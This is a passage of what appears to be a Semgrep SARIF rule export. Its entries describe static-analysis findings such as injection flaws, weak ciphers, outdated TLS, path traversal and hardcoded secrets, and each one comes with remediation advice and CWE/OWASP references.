your Lambda function. Set the source_arn value to the ARN of the AWS resource that invokes the function, eg. an S3 bucket, CloudWatch Events Rule, API Gateway, or SNS topic."},"help":{"markdown":"The AWS Lambda permission has an AWS service principal but does not specify a source ARN. If you grant permission to a service principal without specifying the source, other accounts could potentially configure resources in their account to invoke your Lambda function. Set the source_arn value to the ARN of the AWS resource that invokes the function, eg. an S3 bucket, CloudWatch Events Rule, API Gateway, or SNS topic.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-lambda-permission-unrestricted-source-arn.aws-lambda-permission-unrestricted-source-arn)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/lambda_permission](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/lambda_permission)\n - [https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-permission.html](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-permission.html)\n","text":"The AWS Lambda permission has an AWS service principal but does not specify a source ARN. If you grant permission to a service principal without specifying the source, other accounts could potentially configure resources in their account to invoke your Lambda function. Set the source_arn value to the ARN of the AWS resource that invokes the function, eg. an S3 bucket, CloudWatch Events Rule, API Gateway, or SNS topic."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-lambda-permission-unrestricted-source-arn.aws-lambda-permission-unrestricted-source-arn","id":"terraform.aws.security.aws-lambda-permission-unrestricted-source-arn.aws-lambda-permission-unrestricted-source-arn","name":"terraform.aws.security.aws-lambda-permission-unrestricted-source-arn.aws-lambda-permission-unrestricted-source-arn","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-lambda-permission-unrestricted-source-arn.aws-lambda-permission-unrestricted-source-arn"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected Blowfish cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"help":{"markdown":"Detected Blowfish cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-blowfish.insecure-cipher-algorithm-blowfish)\n - [https://stackoverflow.com/questions/1135186/whats-wrong-with-xor-encryption](https://stackoverflow.com/questions/1135186/whats-wrong-with-xor-encryption)\n - [https://www.pycryptodome.org/src/cipher/cipher](https://www.pycryptodome.org/src/cipher/cipher)\n","text":"Detected Blowfish cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-blowfish.insecure-cipher-algorithm-blowfish","id":"python.pycryptodome.security.insecure-cipher-algorithm-blowfish.insecure-cipher-algorithm-blowfish","name":"python.pycryptodome.security.insecure-cipher-algorithm-blowfish.insecure-cipher-algorithm-blowfish","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-cipher-algorithm-blowfish.insecure-cipher-algorithm-blowfish"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"A formatted or concatenated string was detected as input to a ProcessBuilder call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized."},"help":{"markdown":"A formatted or concatenated string was detected as input to a ProcessBuilder call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.command-injection-process-builder.command-injection-process-builder)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A formatted or concatenated string was detected as input to a ProcessBuilder call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.command-injection-process-builder.command-injection-process-builder","id":"java.lang.security.audit.command-injection-process-builder.command-injection-process-builder","name":"java.lang.security.audit.command-injection-process-builder.command-injection-process-builder","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.command-injection-process-builder.command-injection-process-builder"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly santized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data."},"help":{"markdown":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly santized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request)\n - [https://owasp.org/www-community/attacks/LDAP_Injection](https://owasp.org/www-community/attacks/LDAP_Injection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/90.html](https://cwe.mitre.org/data/definitions/90.html)\n","text":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly santized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","id":"java.servlets.security.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","name":"java.servlets.security.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.sql.grpc-vanillasql-format-string-sqli-taint-med-conf.grpc-vanillasql-format-string-sqli-taint-med-conf)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.grpc.sql.grpc-vanillasql-format-string-sqli-taint-med-conf.grpc-vanillasql-format-string-sqli-taint-med-conf","id":"go.grpc.sql.grpc-vanillasql-format-string-sqli-taint-med-conf.grpc-vanillasql-format-string-sqli-taint-med-conf","name":"go.grpc.sql.grpc-vanillasql-format-string-sqli-taint-med-conf.grpc-vanillasql-format-string-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.sql.grpc-vanillasql-format-string-sqli-taint-med-conf.grpc-vanillasql-format-string-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"IPv6Network.supernet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the supernet is in 'supernet'."},"help":{"markdown":"IPv6Network.supernet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the supernet is in 'supernet'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv6network2)\n","text":"IPv6Network.supernet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the supernet is in 'supernet'."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv6network2","id":"python.lang.compatibility.python37.python37-compatibility-ipv6network2","name":"python.lang.compatibility.python37.python37-compatibility-ipv6network2","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-ipv6network2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.command-injection.gorilla-command-injection-taint.gorilla-command-injection-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/os/exec](https://pkg.go.dev/os/exec)\n - [https://pkg.go.dev/syscall#Exec](https://pkg.go.dev/syscall#Exec)\n - [https://semgrep.dev/docs/cheat-sheets/go-command-injection/](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"helpUri":"https://semgrep.dev/r/go.gorilla.command-injection.gorilla-command-injection-taint.gorilla-command-injection-taint","id":"go.gorilla.command-injection.gorilla-command-injection-taint.gorilla-command-injection-taint","name":"go.gorilla.command-injection.gorilla-command-injection-taint.gorilla-command-injection-taint","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.command-injection.gorilla-command-injection-taint.gorilla-command-injection-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Flags cases of possible path traversal. If an unfiltered parameter is passed into 'fromFile', file from an arbitrary filesystem location could be read. This could lead to sensitive data exposure and other provles. Instead, sanitize the user input instead of performing direct string concatenation."},"help":{"markdown":"Flags cases of possible path traversal. If an unfiltered parameter is passed into 'fromFile', file from an arbitrary filesystem location could be read. This could lead to sensitive data exposure and other provles. Instead, sanitize the user input instead of performing direct string concatenation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.path-traversal-fromfile.path-traversal-fromfile)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Flags cases of possible path traversal. If an unfiltered parameter is passed into 'fromFile', file from an arbitrary filesystem location could be read. This could lead to sensitive data exposure and other provles. Instead, sanitize the user input instead of performing direct string concatenation."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.path-traversal-fromfile.path-traversal-fromfile","id":"scala.lang.security.audit.path-traversal-fromfile.path-traversal-fromfile","name":"scala.lang.security.audit.path-traversal-fromfile.path-traversal-fromfile","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.path-traversal-fromfile.path-traversal-fromfile"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"help":{"markdown":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.open-redirect.open-redirect)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"helpUri":"https://semgrep.dev/r/javascript.browser.open-redirect.open-redirect","id":"javascript.browser.open-redirect.open-redirect","name":"javascript.browser.open-redirect.open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.open-redirect.open-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request","id":"java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request","name":"java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request","properties":{"precision":"very-high","tags":["CWE-501: Trust Boundary Violation","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Dangerously accepting invalid TLS information"},"help":{"markdown":"Dangerously accepting invalid TLS information\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.lang.security.reqwest-accept-invalid.reqwest-accept-invalid)\n - [https://docs.rs/reqwest/latest/reqwest/struct.ClientBuilder.html#method.danger_accept_invalid_hostnames](https://docs.rs/reqwest/latest/reqwest/struct.ClientBuilder.html#method.danger_accept_invalid_hostnames)\n - [https://docs.rs/reqwest/latest/reqwest/struct.ClientBuilder.html#method.danger_accept_invalid_certs](https://docs.rs/reqwest/latest/reqwest/struct.ClientBuilder.html#method.danger_accept_invalid_certs)\n","text":"Dangerously accepting invalid TLS information"},"helpUri":"https://semgrep.dev/r/rust.lang.security.reqwest-accept-invalid.reqwest-accept-invalid","id":"rust.lang.security.reqwest-accept-invalid.reqwest-accept-invalid","name":"rust.lang.security.reqwest-accept-invalid.reqwest-accept-invalid","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: rust.lang.security.reqwest-accept-invalid.reqwest-accept-invalid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using user input when deleting files with `unlink()` is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"help":{"markdown":"Using user input when deleting files with `unlink()` is potentially dangerous. A malicious actor could use this to modify or access files they have no right to.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.unlink-use.unlink-use)\n - [https://www.php.net/manual/en/function.unlink](https://www.php.net/manual/en/function.unlink)\n - [https://owasp.org/www-project-top-ten/2017/A5_2017-Broken_Access_Control.html](https://owasp.org/www-project-top-ten/2017/A5_2017-Broken_Access_Control.html)\n","text":"Using user input when deleting files with `unlink()` is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"helpUri":"https://semgrep.dev/r/php.lang.security.unlink-use.unlink-use","id":"php.lang.security.unlink-use.unlink-use","name":"php.lang.security.unlink-use.unlink-use","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.unlink-use.unlink-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detects creations of tls configuration objects with an insecure MinVersion of TLS. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"help":{"markdown":"Detects creations of tls configuration objects with an insecure MinVersion of TLS. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.disallow-old-tls-versions.disallow-old-tls-versions)\n - [https://stackoverflow.com/questions/26429751/java-http-clients-and-poodle](https://stackoverflow.com/questions/26429751/java-http-clients-and-poodle)\n","text":"Detects creations of tls configuration objects with an insecure MinVersion of TLS. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.disallow-old-tls-versions.disallow-old-tls-versions","id":"problem-based-packs.insecure-transport.go-stdlib.disallow-old-tls-versions.disallow-old-tls-versions","name":"problem-based-packs.insecure-transport.go-stdlib.disallow-old-tls-versions.disallow-old-tls-versions","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.disallow-old-tls-versions.disallow-old-tls-versions"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application stores potentially sensitive information in log files. This could lead to a vulnerability, if an attacker can gain access to logs and then use the sensitive information to perform further attacks. When dealing with HTTP requests, sensitive data could be, for instance, JWT tokens or other session identifiers. To prevent this vulnerability review the type of information being logged. Sensitive information can be identified and filtered or obfuscated before calling logging functions."},"help":{"markdown":"The application stores potentially sensitive information in log files. This could lead to a vulnerability, if an attacker can gain access to logs and then use the sensitive information to perform further attacks. When dealing with HTTP requests, sensitive data could be, for instance, JWT tokens or other session identifiers. To prevent this vulnerability review the type of information being logged. Sensitive information can be identified and filtered or obfuscated before calling logging functions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.log-http-headers.log-request-headers)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures)\n","text":"The application stores potentially sensitive information in log files. This could lead to a vulnerability, if an attacker can gain access to logs and then use the sensitive information to perform further attacks. When dealing with HTTP requests, sensitive data could be, for instance, JWT tokens or other session identifiers. To prevent this vulnerability review the type of information being logged. Sensitive information can be identified and filtered or obfuscated before calling logging functions."},"helpUri":"https://semgrep.dev/r/java.spring.log-http-headers.log-request-headers","id":"java.spring.log-http-headers.log-request-headers","name":"java.spring.log-http-headers.log-request-headers","properties":{"precision":"very-high","tags":["CWE-532: Insertion of Sensitive Information into Log File","HIGH CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.log-http-headers.log-request-headers"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret","id":"java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret","name":"java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"pdb.set_trace() with the header argument is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use set_trace() without the header argument."},"help":{"markdown":"pdb.set_trace() with the header argument is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use set_trace() without the header argument.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-pdb)\n","text":"pdb.set_trace() with the header argument is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use set_trace() without the header argument."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-pdb","id":"python.lang.compatibility.python37.python37-compatibility-pdb","name":"python.lang.compatibility.python37.python37-compatibility-pdb","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-pdb"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.ldap3.python-ldap3-hardcoded-secret.python-ldap3-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.ldap3.python-ldap3-hardcoded-secret.python-ldap3-hardcoded-secret","id":"python.ldap3.python-ldap3-hardcoded-secret.python-ldap3-hardcoded-secret","name":"python.ldap3.python-ldap3-hardcoded-secret.python-ldap3-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.ldap3.python-ldap3-hardcoded-secret.python-ldap3-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Facebook Access Token detected"},"help":{"markdown":"Facebook Access Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-facebook-access-token.detected-facebook-access-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Facebook Access Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-facebook-access-token.detected-facebook-access-token","id":"generic.secrets.security.detected-facebook-access-token.detected-facebook-access-token","name":"generic.secrets.security.detected-facebook-access-token.detected-facebook-access-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-facebook-access-token.detected-facebook-access-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detects setting client protocols to insecure versions of TLS and SSL. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"help":{"markdown":"Detects setting client protocols to insecure versions of TLS and SSL. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions2.disallow-old-tls-versions2)\n - 